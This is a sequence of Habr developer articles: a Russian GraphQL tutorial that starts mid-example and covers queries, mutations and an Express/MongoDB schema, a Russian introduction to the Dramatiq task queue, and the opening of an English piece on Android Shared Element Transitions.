"id": 2,
"name": "What's Wrong With You Caramel",
"description": "You're a crazy person that likes sweet popcorn. Congratulations."
}, {
"id": 3,
"name": "Gnarly Chili Lime",
"description": "The kind of popcorn you make when you need a good smack in the face."}
]
```
В таком ответе ничего катастрофически неправильного нет, но подумаем о пользовательском интерфейсе, или скорее о том, как мы намереваемся потреблять эти данные.
Если мы хотим вывести в интерфейсе простой список, который содержит лишь названия имеющихся видов попкорна (и ничего другого), то этот список может выглядеть так, как показано ниже.
*Список видов попкорна*
Видно, что тут мы попали в непростую ситуацию. Мы вполне можем решить не использовать поле `description`, но собираемся ли мы сидеть сложа руки и делать вид, будто мы не отправляли это поле клиенту? А что нам ещё остаётся делать? А когда нас, через несколько месяцев, спросят о том, почему приложение так медленно работает у пользователей, нам останется лишь дать дёру и больше не встречаться с руководством компании, для которой мы сделали это приложение.
На самом деле, то, что сервер отправляет в ответ на запрос клиента ненужные данные, это не полностью наша вина. REST — это механизм получения данных, который можно сравнить с рестораном, в котором официант спрашивает посетителя: «Чего вы хотите?», и, не особенно обращая внимание на его пожелания, говорит ему: «Я принесу вам то, что у нас есть».
Если же отбросить в сторону шутки, то в реальных приложениях подобное может вести к проблемным ситуациям. Например, мы можем выводить различные дополнительные сведения о каждом виде попкорна, наподобие сведений о цене, информации о производителе или диетологических сведений («Веганский попкорн!»). При этом негибкие конечные точки REST сильно усложняют получение специфических данных о конкретных видах попкорна, что ведёт к неоправданно высокой нагрузке на системы и к тому, что получающиеся решения оказываются далеко не такими, которыми разработчики могли бы гордиться.
Как технология GraphQL улучшает то, для чего использовалась технология REST
---------------------------------------------------------------------------
При поверхностном анализе вышеописанной ситуации может показаться, что перед нами всего лишь незначительная проблема. «Что плохого в том, что мы отправляем клиенту ненужные данные?». Для того чтобы понять масштабы, в которых «ненужные данные» могут стать большой проблемой, вспомним о том, что технология GraphQL была разработана компанией Facebook. Этой компании приходится обслуживать миллионы запросов в секунду.
Что это значит? А то, что при таких объёмах значение имеет каждая мелочь.
GraphQL, если продолжить аналогию с рестораном, вместо того, чтобы «нести» посетителю «то, что есть», приносит именно то, что посетитель заказывает.
Мы можем получить от GraphQL ответ, ориентированный на тот контекст, в котором используются данные. При этом нам не нужно добавлять в систему «одноразовые» точки доступа, выполнять множество запросов или писать многоэтажные условные конструкции.
Как работает GraphQL?
---------------------
Как мы уже говорили, GraphQL, для передачи данных клиенту и получения их от него, полагается на простые `GET` или `POST`-запросы. Если подробнее рассмотреть эту мысль, то оказывается, что в GraphQL есть два вида запросов. К первому виду относятся запросы на чтение данных, которые в терминологии GraphQL называются просто запросами (query) и относятся к букве R (reading, чтение) акронима CRUD. Запросы второго вида — это запросы на изменение данных, которые в GraphQL называют мутациями (mutation). Они относятся к буксам C, U и D акронима CRUD, то есть — с их помощью выполняют операции создания (create), обновления (update) и удаления (delete) записей.
Все эти запросы и мутации отправляют на URL GraphQL-сервера, который, например, может выглядеть как `https://myapp.com/graphql`, в виде `GET` или `POST`-запросов. Подробнее об этом мы поговорим ниже.
Запросы GraphQL
---------------
Запросы GraphQL — это сущности, представляющие собой запрос к серверу на получение неких данных. Например, у нас есть некий пользовательский интерфейс, который мы хотим заполнить данными. За этими данными мы и обращаемся к серверу, выполняя запрос. При использовании традиционных REST API наш запрос принимает вид GET-запроса. При работе с GraphQL используется новый синтаксис построения запросов:
```
{
flavors {
name
}
}
```
Это что, JSON? Или JavaScript-объект? Ни то и ни другое. Как мы уже говорили, в названии технологии GraphQL две последние буквы, QL, означают «query language», то есть — язык запросов. Речь идёт, в буквальном смысле, о новом языке написания запросов на получение данных. Звучит всё это как описание чего-то довольно сложного, но на самом деле ничего сложного тут нет. Разберём вышеприведённый запрос:
```
{
// Сюда помещают описания полей, которые нужно получить.
}
```
Все запросы начинаются с «корневого запроса», а то, что нужно получить в ходе выполнения запроса, называется полем. Для того чтобы избавить себя от путаницы, лучше всего называть эти сущности «полями запроса в схеме». Если вам такое наименование кажется непонятным — подождите немного — ниже мы подробнее поговорим о схеме. Здесь мы, в корневом запросе, запрашиваем поле `flavors`.
```
{
flavors {
// Вложенные поля, которые мы хотим получить для каждого значения flavor.
}
}
```
Запрашивая некое поле, мы, кроме того, должны указать вложенные поля, которые нужно получить для каждого объекта, который приходит в ответе на запрос (даже если ожидается, что в ответ на запрос придёт всего один объект).
```
{
flavors {
name
}
}
```
Что в итоге получится? После того, как мы отправим такой запрос GraphQL-серверу, мы получим хорошо оформленный аккуратный ответ наподобие следующего:
```
{
"data": {
"flavors": [
{ "name": "The Lazy Person's Movie Theater" },
{ "name": "What's Wrong With You Caramel" },
{ "name": "Gnarly Chili Lime" }
]
}
}
```
Обратите внимание на то, что здесь нет ничего лишнего. Для того чтобы было понятнее — вот ещё один запрос, выполняемый для получения данных на другой странице приложения:
```
{
flavors {
id
name
description
}
}
```
В ответ на этот запрос мы получим следующее:
```
{
"data": {
"flavors": [
{ "id": 1, "name": "The Lazy Person's Movie Theater", description: "That elusive flavor that you begrudgingly carted yourself to the theater for, now in the comfort of your own home, you slob!" },
{ "id": 2, "name": "What's Wrong With You Caramel", description: "You're a crazy person that likes sweet popcorn. Congratulations." },
{ "id": 3, "name": "Gnarly Chili Lime", description: "A friend told me this would taste good. It didn't. It burned my kernels. I haven't had the heart to tell him." }
]
}
}
```
Как видите, GraphQL — очень мощная технология. Обращаемся мы к одной и той же конечной точке, а ответы на запросы в точности соответствуют тому, что нужно для наполнения той страницы, с которой выполняются эти запросы.
Если нам нужно получить лишь один объект `flavor`, то мы можем воспользоваться тем фактом, что GraphQL умеет работать с аргументами:
```
{
flavors(id: "1") {
id
name
description
}
}
```
Тут мы жёстко задали в коде конкретный идентификатор (`id`) объекта, сведения о котором нам нужны, но в подобных случаях можно использовать и динамические идентификаторы:
```
query getFlavor($id: ID) {
flavors(id: $id) {
id
name
description
}
}
```
Здесь, в первой строке, мы даём запросу имя (имя выбирается произвольным образом, `getFlavor` можно заменить на нечто вроде `pizza`, и запрос останется работоспособным) и объявляем переменные, которые ожидает запрос. В данном случае предполагается, что запросу будет передан идентификатор (`id`) скалярного типа `ID` (о типах мы поговорим ниже).
Независимо от того, статический или динамический `id` используется при выполнении запроса, вот как будет выглядеть ответ на подобный запрос:
```
{
"data": {
"flavors": [
{ "id": 1, "name": "The Lazy Person's Movie Theater", description: "That elusive flavor that you begrudgingly carted yourself to the theater for, now in the comfort of your own home, you slob!" }
]
}
}
```
Как видите, всё устроено очень удобно. Вероятно, вы уже начинаете размышлять о применении GraphQL в собственном проекте. И, хотя то, о чём мы уже говорили, выглядит замечательно, красота GraphQL по-настоящему проявляется там, где работают с вложенными полями. Предположим, что в нашей схеме есть ещё одно поле, которое называется `nutrition` и содержит сведения о пищевой ценности разных видов попкорна:
```
{
flavors {
id
name
nutrition {
calories
fat
sodium
}
}
}
```
Может показаться, что в нашем хранилище данных, в каждом объекте `flavor`, будет содержаться вложенный объект `nutrition`. Но это не совсем так. Используя GraphQL можно комбинировать обращения к самостоятельным, но связанным источникам данных в одном запросе, что позволяет получать ответы, дающие удобство работы с вложенными данными без необходимости денормализации базы данных:
```
{
"data": {
"flavors": [
{
"id": 1,
"name": "The Lazy Person's Movie Theater",
"nutrition": {
"calories": 500,
"fat": 12,
"sodium": 1000
}
},
...
]
}
}
```
Это способно значительно увеличить продуктивность труда программиста и скорость работы системы.
До сих пор мы говорили о запросах на чтение. А как насчёт запросов на обновление данных? Их использование даёт нам те же удобства?
Мутации GraphQL
---------------
В то время как запросы GraphQL выполняют загрузку данных, мутации ответственны за внесение в данные изменений. Мутации могут быть использованы в виде базового механизма RPC (Remote Procedure Call, вызов удалённых процедур) для решения различных задач наподобие отправки данных пользователя API стороннего разработчика.
При описании мутаций используется синтаксис, напоминающий тот, который мы применяли при формировании запросов:
```
mutation updateFlavor($id: ID!, $name: String, $description: String) {
updateFlavor(id: $id, name: $name, description: $description) {
id
name
description
}
}
```
Здесь мы объявляем мутацию `updateFlavor`, указывая некоторые переменные — `id`, `name` и `description`. Действуя по той же схеме, которая применяется при описании запросов, мы «оформляем» изменяемые поля (корневую мутацию) с помощью ключевого слова `mutation`, за которым следует имя, описывающее мутацию, и набор переменных, которые нужны для формирования соответствующего запроса на изменение данных.
Эти переменные включают в себя то, что мы пытаемся изменить, или то, мутацию чего мы хотим вызвать. Обратите внимание также и на то, что после выполнения мутации мы можем запросить возврат некоторых полей.
В данном случае нам нужно получить, после изменения записи, поля `id`, `name` и `description`. Это может пригодиться при разработке чего-то вроде оптимистичных интерфейсов, избавляя нас от необходимости выполнять запрос на получение изменённых данных после их изменения.
Разработка схемы и подключение её к GraphQL-серверу
---------------------------------------------------
До сих пор мы говорили о том, как GraphQL работает на клиенте, о том, как выполняют запросы. Теперь поговорим о том, как на эти запросы реагировать.
### ▍GraphQL-сервер
Для того, чтобы выполнить GraphQL-запрос, нужен GraphQL-сервер, которому можно такой запрос отправить. GraphQL-сервер представляет собой обычный HTTP-сервер (если вы пишете на JavaScript — то это может быть сервер, созданный с помощью Express или Hapi), к которому присоединена GraphQL-схема.
```
import express from 'express'
import graphqlHTTP from 'express-graphql'
import schema from './schema'
const app = express()
app.use('/graphql', graphqlHTTP({
schema: schema,
graphiql: true
}))
app.listen(4000)
```
Под «присоединением» схемы мы понимаем механизм, который пропускает через схему запросы, полученные от клиента, и возвращает ему ответы. Это похоже на воздушный фильтр, через который воздух поступает в помещение.
Процесс «фильтрации» связан с запросами или мутациями, отправляемыми клиентом на сервер. И запросы и мутации разрешаются с использованием функций, связанных с полями, определёнными в корневом запросе или в корневой мутации схемы.
Выше приведён пример каркаса HTTP-сервера, созданного с помощью JavaScript-библиотеки Express. Используя функцию `graphqlHTTP` из пакета `express-graphql` от Facebook, мы «прикрепляем» схему (предполагается, что она описана в отдельном файле) и запускаем сервер на порту 4000. То есть, клиенты, если говорить о локальном использовании этого сервера, смогут отправлять запросы по адресу `http://localhost:4000/graphql`.
### ▍Типы данных и распознаватели
Для того чтобы обеспечить работу GraphQL-сервера, нужно подготовить схему и присоединить её к нему.
Вспомните о том, что выше мы говорили об объявлении полей в корневом запросе или в корневой мутации.
```
import gql from 'graphql-tag'
import mongodb from '/path/to/mongodb’ // Это - лишь пример. Предполагается, что `mongodb` даёт нам подключение к MongoDB.
const schema = {
typeDefs: gql`
type Nutrition {
flavorId: ID
calories: Int
fat: Int
sodium: Int
}
type Flavor {
id: ID
name: String
description: String
nutrition: Nutrition
}
type Query {
flavors(id: ID): [Flavor]
}
type Mutation {
updateFlavor(id: ID!, name: String, description: String): Flavor
}
`,
resolvers: {
Query: {
flavors: (parent, args) => {
// Предполагается, что args равно объекту, наподобие { id: '1' }
return mongodb.collection('flavors').find(args).toArray()
},
},
Mutation: {
updateFlavor: (parent, args) => {
// Предполагается, что args равно объекту наподобие { id: '1', name: 'Movie Theater Clone', description: 'Bring the movie theater taste home!' }
// Выполняем обновление.
mongodb.collection('flavors').update(args)
// Возвращаем flavor после обновления.
return mongodb.collection('flavors').findOne(args.id)
},
},
Flavor: {
nutrition: (parent) => {
return mongodb.collection('nutrition').findOne({
flavorId: parent.id,
})
}
},
},
}
export default schema
```
Определение полей в схеме GraphQL состоит из двух частей — из объявлений типов (`typeDefs`) и распознавателей (`resolver`). Сущность `typeDefs` содержит объявления типов для данных, используемых в приложении. Например, ранее мы говорили о запросе на получение с сервера списка объектов `flavor`. Для того чтобы к нашему серверу можно было бы выполнить подобный запрос, нужно сделать следующие три шага:
1. Сообщить схеме о том, как выглядят данные объектов `flavor` (в примере, приведённом выше, это выглядит как объявление типа `type Flavor`).
2. Объявить поле в корневом поле `type Query` (это свойство `flavors` значения `type Query`).
3. Объявить функцию-распознаватель объекта `resolvers.Query`, написанную в соответствии с полями, объявленными в корневом поле `type Query`.
Обратим теперь внимание на `typeDefs`. Здесь мы сообщаем схеме сведения о форме (shape) наших данных. Другими словами, мы сообщаем GraphQL о разных свойствах, которые могут содержаться в сущностях соответствующего типа.
```
type Flavor {
id: ID
name: String
description: String
nutrition: Nutrition
}
```
Объявление `type Flavor` указывает на то, что объект `flavor` может содержать поле `id` типа `ID`, поле `name` типа `String`, поле `description` типа `String` и поле `nutrition` типа `Nutrition`.
В случае с `nutrition` мы используем здесь имя другого типа, объявленного в `typeDefs`. Здесь конструкция `type Nutrition` описывает форму данных о пищевой ценности попкорна.
Обратите внимание на то, что мы тут, как и в самом начале этого материала, говорим о «приложении», а не о «базе данных». В вышеприведённом примере предполагается, что у нас есть база данных, но данные в приложение могут поступать из любого источника. Это может быть даже API стороннего разработчика или статический файл.
Так же, как мы поступали в объявлении `type Flavor`, здесь мы указываем имена полей, которые будут содержаться в объектах `nutrition`, используя, в качестве типов данных этих полей (свойств) то, что в GraphQL называется скалярными типами данных. На момент написания этого материала в GraphQL поддерживалось [5 встроенных скалярных типов данных](https://graphql.org/learn/schema/#scalar-types):
* `Int`: целое 32-битное число со знаком.
* `Float`: число двойной точности с плавающей точкой со знаком.
* `String`: последовательность символов в кодировке UTF-8.
* `Boolean`: логическое значение `true` или `false`.
* `ID`: уникальный идентификатор, часто используемый для многократной загрузки объектов или в качестве ключа в кэше. Значения типа `ID` сериализуются так же, как строки, однако указание на то, что некое значение имеет тип `ID`, подчёркивает тот факт, что это значение предназначено не для показа его людям, а для использования в программах.
В дополнение к этим скалярным типам мы можем назначать свойствам и типы, определённые нами самостоятельно. Именно так мы поступили, назначив свойству `nutrition`, описанному в конструкции `type Flavor`, тип `Nutrition`.
```
type Query {
flavors(id: ID): [Flavor]
}
```
В конструкции `type Query`, в которой описывается корневой тип `Query` (тот «корневой запрос», о котором мы говорили ранее), мы объявляем имя поля, которое может быть запрошено. Объявляя это поле, мы, кроме того, вместе с типом данных, который ожидаем вернуть, указываем аргументы, которые могут поступить в запросе.
В данном примере мы ожидаем возможного поступления аргумента `id` скалярного типа `ID`. В качестве ответа на такой запрос ожидается массив объектов, устройство которых напоминает устройство типа `Flavor`.
### ▍Подключение распознавателя запросов
Теперь, когда в корневом `type Query` имеется определение поля `field`, нам нужно описать то, что называется функцией-распознавателем.
Это — то место, где GraphQL, более или менее, «останавливается». Если мы посмотрим на объект `resolvers` схемы, а затем на объект `Query`, вложенный в него, мы можем увидеть там свойство `flavors`, которому назначена функция. Эта функция и называется распознавателем для поля `flavors`, которое объявлено в корневом `type Query`.
```
typeDefs: gql`…`,
resolvers: {
Query: {
flavors: (parent, args) => {
// Предполагается, что args равно объекту наподобие { id: '1' }
return mongodb.collection('flavors').find(args).toArray()
},
},
…
},
```
Эта функция-распознаватель принимает несколько аргументов. Аргумент `parent` — это родительский запрос, если таковой существует, аргумент `args` тоже передаётся запросу в том случае, если он существует. Здесь ещё может использоваться аргумент `context`, который в нашем случае не представлен. Он даёт возможность работать с различными «контекстными» данными (например — со сведениями о текущем пользователе в том случае, если сервер поддерживает систему учётных записей пользователей).
Внутри распознавателя мы делаем всё, что нужно для того, чтобы выполнить запрос. Именно здесь GraphQL «перестаёт беспокоиться» о происходящем и позволяет нам выполнять загрузку и возврат данных. Тут, повторимся, можно работать с любыми источниками данных.
Хотя GraphQL и не интересуют источники поступления данных, эту систему чрезвычайно сильно интересует то, что именно мы возвращаем. Мы можем вернуть JSON-объект, массив JSON-объектов, промис (его разрешение GraphQL берёт на себя).
Тут мы используем мок-обращение к коллекции `flavors` базы данных MongoDB, передавая `args` (если соответствующий аргумент передан распознавателю) в вызов `.find()` и возвращая то, что будет найдено в результате выполнения этого вызова, в виде массива.
### ▍Получение данных для вложенных полей
Выше мы уже разобрали кое-что, относящееся к GraphQL, но сейчас, возможно, пока непонятно то, как быть с вложенным полем `nutrition`. Помните о том, что данные, представленные полем `Nutrition`, мы, на самом деле, не храним совместно с основными данными, описывающими сущность `flavor`. Мы исходим из предположения о том, что эти данные хранятся в отдельной коллекции/таблице базы данных.
Хотя мы сообщили GraphQL о том, что `type Flavor` может включать в себя данные `nutrition` в форме `type Nutrition`, мы не пояснили системе порядок получения этих данных из хранилища. Эти данные, как уже было сказано, хранятся отдельно от данных сущностей `flavor`.
```
typeDefs: gql`
type Nutrition {
flavorId: ID
calories: Int
fat: Int
sodium: Int
}
type Flavor {
[…]
nutrition: Nutrition
}
type Query {…}
type Mutation {…}
`,
resolvers: {
Query: {
flavors: (parent, args) => {…},
},
Mutation: {…},
Flavor: {
nutrition: (parent) => {
return mongodb.collection('nutrition').findOne({
flavorId: parent.id,
})
}
},
},
```
Если присмотреться повнимательнее к объекту `resolvers` в схеме, то можно заметить, что тут имеются вложенные объекты `Query`, `Mutation` и `Flavor`. Они соответствуют типам, которые мы объявили выше в `typeDefs`.
Если посмотреть на объект `Flavors`, то окажется, что поле `nutrition` в нём объявлено как функция-распознаватель. Заметной особенностью такого решения является тот факт, что мы объявляем функцию непосредственно в типе `Flavor`. Другими словами, мы говорим системе: «Мы хотим, чтобы ты загрузила поле `nutrition` именно так для любого запроса, использующего `type Flavor`».
В этой функции мы выполняем обычный запрос к MongoDB, но тут обратите внимание на то, что мы используем аргумент `parent`, переданный функции-распознавателю. То, что представлено здесь аргументом `parent`, представляет собой то, что содержится в полях, имеющихся во `flavors`. Например, если нам нужны все сущности `flavor`, мы выполним такой запрос:
```
{
flavors {
id
name
nutrition {
calories
}
}
}
```
Каждое поле `flavor`, возвращённое из `flavors`, мы пропустим через распознаватель `nutrition`, при этом данное значение будет представлено аргументом `parent`. Если присмотреться к этой конструкции, то окажется, что мы, в запросе к MongoDB, используем поле `parent.id`, которое представляет собой `id` сущности `flavor`, обработкой которой мы занимаемся в данный момент.
Идентификатор `parent.id` передаётся в запросе к базе данных, где производится поиск записи `nutrition` с идентификатором `flavorId`, которая соответствует обрабатываемой сущности `flavor`.
### ▍Подключение мутаций
То, что мы уже знаем о запросах, отлично переносится и на мутации. На самом деле, процесс подготовки мутаций практически полностью совпадает с процессом подготовки запросов. Если взглянуть на корневую сущность `type Mutation`, то можно увидеть, что мы объявили в ней поле `updateFlavor`, принимающее аргументы, задаваемые на клиенте.
```
type Mutation {
updateFlavor(id: ID!, name: String, description: String): Flavor
}
```
Этот код можно расшифровать так: «Мы ожидаем, что мутация `updateFlavor` принимает `id` типа `ID` (восклицательный знак, `!`, сообщает GraphQL о том, что это поле необходимо), `name` типа `String` и `description` типа `String`». Кроме того, после завершения выполнения мутации мы ожидаем возврат некоторых данных, структура которых напоминает тип `Flavor` (то есть — объект, который содержит свойства `id`, `name`, `description`, и, возможно, `nutrition`).
```
{
typeDefs: gql`…`,
resolvers: {
Mutation: {
updateFlavor: (parent, args) => {
// Предполагается, что args равно объекту наподобие { id: '1', name: 'Movie Theater Clone', description: 'Bring the movie theater taste home!' }
// Выполняем обновление.
mongodb.collection('flavors').update(
{ id: args.id },
{
$set: {
...args,
},
},
)
// Возвращаем flavor после обновления.
return mongodb.collection('flavors').findOne(args.id)
},
},
},
}
```
Внутри функции-распознавателя для мутации `updateFlavor` мы делаем именно то, чего от подобной функции можно ожидать: организуем взаимодействие с базой данных для того, чтобы изменить в ней, то есть — обновить, сведения об интересующей нас сущности `flavor`.
Обратите внимание на то, что сразу же после выполнения обновления обновление мы выполняем обращение к базе данных для того, чтобы снова найти ту же сущность `flavor` и вернуть её из распознавателя. Почему это так?
Вспомните о том, что на клиенте мы ожидаем получить объект в том состоянии, в которое он был приведён после завершения мутации. В данном примере мы ожидаем, что будет возвращена сущность `flavor`, которую мы только что обновили.
Можно ли просто вернуть объект `args`? Да, можно. Причина, по которой мы решили в данном случае этого не делать, заключается в том, что мы хотим быть на 100% уверенными в том, что операция обновления информации в базе данных прошла успешно. Если мы прочтём из базы данных информацию, которая должна быть изменённой, и окажется, что она и правда изменена, тогда можно сделать вывод о том, что операция выполнена успешно.
Зачем может понадобиться использовать GraphQL?
----------------------------------------------
Хотя то, созданием чего мы только что занимались, выглядит не особенно масштабно, сейчас у нас есть функционирующее, хотя и простое, GraphQL-API.
Как и в случае с любой новой технологией, после первого знакомства с GraphQL вы можете задаться вопросом о том, зачем вам может пригодиться нечто подобное. Честно говоря, на этот вопрос нельзя дать однозначного и простого ответа. Очень уж много всего нужно учесть для того, чтобы такой ответ найти. И можно, кстати, подумать о том, чтобы вместо GraphQL просто выбрать проверенную временем технологию REST или напрямую обращаться к базе данных. Собственно говоря, вот несколько идей, над которыми стоит поразмыслить в поисках ответа на вопрос о том, нужна ли вам технология GraphQL.
### ▍Вы стремитесь уменьшить количество запросов, выполняемых с клиента
Многие приложения страдают от того, что им приходится выполнять слишком много HTTP-запросов, от того, что делать это приходится слишком часто, и от того, что это — сложные запросы. В то время как использование технологии GraphQL не позволяет полностью отказаться от выполнения запросов, эта технология, если ей правильно пользоваться, способна значительно уменьшить количество запросов, выполняемых со стороны клиента (во многих случаях для получения некоего набора связанных данных достаточно лишь одного запроса).
Является ли ваш проект приложением с множеством пользователей, или приложением, обрабатывающим огромные объёмы данных (например — это нечто вроде системы для работы с медицинскими данными), использование GraphQL определённо улучшит производительность его клиентской части.
### ▍Вы хотите избежать денормализации данных, проводимой лишь ради того, чтобы оптимизировать работу механизмов построения пользовательского интерфейса
В приложениях, в которых используются большие объёмы реляционных данных, часто может возникать «ловушка денормализации». Хотя такой подход и оказывается рабочим, он, вне всякого сомнения, далёк от идеала. Его применение может плохо влиять на производительность систем. Благодаря использованию GraphQL и вложенных запросов необходимость в денормализации данных значительно уменьшается.
### ▍У вас есть множество источников информации, к которым вы обращаетесь из разных приложений
Эта проблема может быть частично решена с помощью традиционных REST API, но даже при таком подходе одна проблема всё ещё остаётся: единообразие запросов, выполняемых с клиентской стороны. Предположим, что в ваш проект входят веб-приложение, приложения для iOS и Android, а также API для разработчиков. В подобных условиях вам, вероятнее всего, придётся, на каждой платформе, «мастерить из подручных материалов» средства для выполнения запросов.
Это ведёт к тому, что приходится поддерживать, на разных платформах, несколько реализаций HTTP, это означает отсутствие единообразия в средствах выполнения запросов и наличие запутанных конечных точек API (вы, наверняка, такое уже видели).
### ▍Может быть технология GraphQL — это верх совершенства? Стоит ли мне прямо сейчас выбросить мой REST API и перейти на GraphQL?
Нет, конечно. Ничто не совершенно. И, надо отметить, работать с GraphQL не так уж и просто. Для того чтобы создать работающую схему GraphQL, нужно выполнить множество обязательных шагов. Так как вы только изучаете данную технологию, это может вывести вас из равновесия, так как нелегко бывает понять то, чего именно не хватает в вашей схеме для правильной работы системы. При этом сообщения об ошибках, возникающих на клиенте и на сервере, могут оказаться не особенно полезными.
Далее, использование GraphQL на клиенте, в том, что выходит за рамки языка запросов, не стандартизовано. Хотя работу с GraphQL могут облегчить различные библиотеки, самыми популярными из которых являются Apollo и Relay, каждая из них отличается собственными специфическими особенностями.
GraphQL — это, кроме того, всего лишь спецификация. Пакеты вроде `graphql` (этот пакет используется внутри пакета `express-graphql`, применённого в нашем примере) — это всего лишь реализации данной спецификации. Другими словами, разные реализации GraphQL для разных языков программирования могут по-разному интерпретировать спецификацию. Это может привести к возникновению проблем, идёт ли речь о разработчике-одиночке, или о команде, в которой, при работе над разными проектами, используются разные языки программирования.
Итоги
-----
Несмотря на то, что внедрение GraphQL может оказаться непростой задачей, эта технология представляет собой впечатляющий шаг вперёд в сфере обработки данных. GraphQL нельзя назвать лекарством от всех болезней, но с этой технологией, определённо, стоит поэкспериментировать. Начать можно, например, поразмыслив о самой запутанной и неопрятной подсистеме, используемой в вашем проекте при работе с данными, и попытавшись реализовать эту подсистему средствами GraphQL.
Кстати, тут у меня для вас приятная новость: GraphQL можно реализовывать инкрементно. Для того чтобы извлечь выгоды из применения этой технологии нет нужды переводить на GraphQL абсолютно всё. Так, постепенно вводя в проект GraphQL, можно разобраться с этой технологией самому, заинтересовать команду, и, если то, что получится, всех устроит, двигаться дальше.
Главное — помните о том, что GraphQL — это, в конечном счёте, всего лишь инструмент. Применение GraphQL не означает необходимости в полной переработке всего, что было раньше. При этом надо отметить, что GraphQL — это технология, с которой, определённо, стоит познакомиться. Многим стоит подумать и о применении этой технологии в своих проектах. В частности, если ваши проекты кажутся не особенно производительными, если вы занимаетесь разработкой сложных интерфейсов, наподобие панелей управления, лент новостей или профилей пользователей, то вы уже знаете о том, где именно вы можете опробовать GraphQL.
**Уважаемые читатели!** Если сегодня состоялось ваше первое знакомство с GraphQL — просим рассказать нам о том, планируете ли вы использовать эту технологию в своих проектах.
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/445268/ | null | ru | null |
# Dramatiq как современная альтернатива Celery: больше нет проблем с версиями и поддержкой Windows
Мы часто сталкиваемся с асинхронными задачами в веб-разработке. Когда нам нужны такие операции как:
* Отправка электронных писем
* Отправка запросов к внешним API
* Долгие математические операции
* Сложные запросы к базе данных
Наше приложение тратит время на их выполнение и заставляет пользователя ждать, что может негативно сказаться на его пользовательском опыте. Для решения этой проблемы существуют асинхронные очереди выполнения задач.
Celery и его проблемы
---------------------
Самой популярной для языка программирования Python давно является [Celery](https://docs.celeryproject.org). Она предоставляет большие возможности работы с задачами, запуске их с определенным периодом и тонкой настройки.
До выхода Python 3.7 она была чуть ли не единственным способом реализовать асинхронную обработку задач. Но она, к сожалению, также известна своими проблемами с совместимостью с Python 3.7 и выше и отсутствием поддержки Windows с версии Celery 4.
И поэтому для тестирования своего приложения приходится разворачивать Сelery в Docker или переходить на Linux, что для многих является нежелательным.
Современное решение - Dramatiq
------------------------------
Поискав информацию я обнаружил прекрасную альтернативу Celery.
[Dramatiq](https://dramatiq.io/) - это простая в использовании и надежная библиотека распределенной обработки задач для Python 3, написанная в 2017 году для решения проблем Celery.
> If you’ve ever had to use Celery in anger, Dramatiq could be the tool for you.
>
> Если вам когда-либо приходилось использовать Celery, испытывая гнев, то Dramatiq может быть инструментом для вас.
>
>
Так [описывает](https://dramatiq.io/motivation.html) Dramatiq автор библиотеки [Богдан Поп](https://github.com/Bogdanp). Какие же плюсы есть у Dramatiq?
* Активно разрабатывается и используется в производстве
* Отличная документация
* Автоматическая перезагрузка кода ваших задач
* Поддержка Redis и RabbitMQ
* Понятный исходный код, который позволяет сообществу развивать библиотеку
И если вы ищете простую очередь выполнения задач, Dramatiq вам точно понравится. Ниже я приведу сравнительную таблицу актуальных решений в этой сфере:
| | | | |
| --- | --- | --- | --- |
| | Dramatiq | Celery | RQ |
| Поддержка Python 2 | Нет | Да | Да |
| Поддержка Windows | Да | Нет | Нет |
| Простой исходный код | Да | Нет | Да |
| Отложенные задачи | Да | Да | Нет |
| Планирование задач | Нет | Да | Нет |
| Перезагрузка кода | Да | Нет | Нет |
| Поддержка RabitMQ | Да | Да | Нет |
| Поддержка Redis | Да | Да | Да |
Пример асинхронной задачи с помощью Dramatiq
--------------------------------------------
Хватит разговоров, давайте посмотрим на Dramatiq в действии!
Напишем простую функцию, получающую заголовки веб-страниц, и записывающую их в файл titles.txt. Для этого создадим файл **titles\_scraper.py** и напишем в нем следующий код:
```
import requests
from bs4 import BeautifulSoup
def get_page_title(url):
soup = BeautifulSoup(requests.get(url).text, "html.parser")
file = open("titles.txt", "a")
file.write("\n"+soup.title.text)
```
Пока что наша функция может быть вызвана только как `get_page_title("example.com")`и будет заставлять нас ждать, не давая выполнить более полезную работу, чем ожидание ответа с сервера. Давайте преобразуем нашу функцию и сделаем так, чтобы можно было запускать ее в отдельной очереди Dramatiq.
Для этого нам достаточно лишь добавить нужный декоратор нашей функции и выбрать, какой брокер мы будем использовать:
```
import requests
from bs4 import BeautifulSoup
from dramatiq.brokers.redis import RedisBroker
import dramatiq
# Я буду использовать Redis как брокера
dramatiq.set_broker(RedisBroker())
@dramatiq.actor
def get_page_title(url):
soup = BeautifulSoup(requests.get(url).text, "html.parser")
file = open("titles.txt", "a")
file.write("\n"+soup.title.text)
```
И это все, что надо сделать, чтобы объявить функцию Dramatiq. Вам не надо настраивать и долго конфигурировать Dramatiq для первого запуска, но при этом остается возможность настройки, когда это нужно.
Теперь запустим очередь задач:
```
dramatiq titles_scraper
```
Откроем консоль Python и попробуем выполнить нашу функцию:
```
>>> from titles_scraper import get_page_title
>>> get_page_title("https://google.com/") # Вам придется ждать около секунды
>>> get_page_title.send("https://google.com") # Код выполнится мгновенно,
>>> # Dramatiq сам занялся выполнением кода
```
Теперь, открыв файл titles.txt, вы увидите заголовок страницы google.com.
Естественно, данный пример показывает лишь малую часть возможностей Dramatiq, которые помогут вам с асинхронными очередями задач. Цель данного примера была лишь в том, чтобы показать простоту Dramatiq.
Поддержка современными веб-фреймворками
---------------------------------------
Существуют также специализированные библиотеки для работы с Django и Flask:
* Если вы используете Django, вы можете задействовать [django-dramatiq](https://github.com/Bogdanp/django_dramatiq). Создан специальный [демонстрационный проект](https://github.com/Bogdanp/django_dramatiq_example) с использованием данного пакета.
* Если вы приверженец Flask, вы сможете попробовать [flask-dramatiq](https://flask-dramatiq.readthedocs.io/).
Но если вы используете другой фреймворк, вам ничего не мешает разрабатывать с помощью чистого Dramatiq или даже написать свою библиотеку для работы с ним в вашем фреймворке.
Полезные ссылки
---------------
* [Официальная документация Dramatiq](https://dramatiq.io/)
* [Открытый репозиторий Dramatiq](https://github.com/Bogdanp/dramatiq)
* [Интервью на английском с создателем Dramatiq](https://www.youtube.com/watch?v=XsdMkl0eCDo) | https://habr.com/ru/post/565990/ | null | ru | null |
# Hidden mistakes with Shared Element Transitions
There is a good practice to make your application beautiful and live, and nowadays there are a lot of tools and ways to achieve this. One of them is Shared Element Transition.
In this article I’ll cover a few mistakes which have cost me a lot of time; I’ll show how to avoid them if you decide to implement this kind of transitions with Fragments on application.
Get started
-----------
Before making the animation I’ve read dozens of articles but most of them were about Activity Transition. However, I came across a really good ones about Fragments and I want to give a little recap on how to create Shared Element Transition.
Here are main steps to create animation:
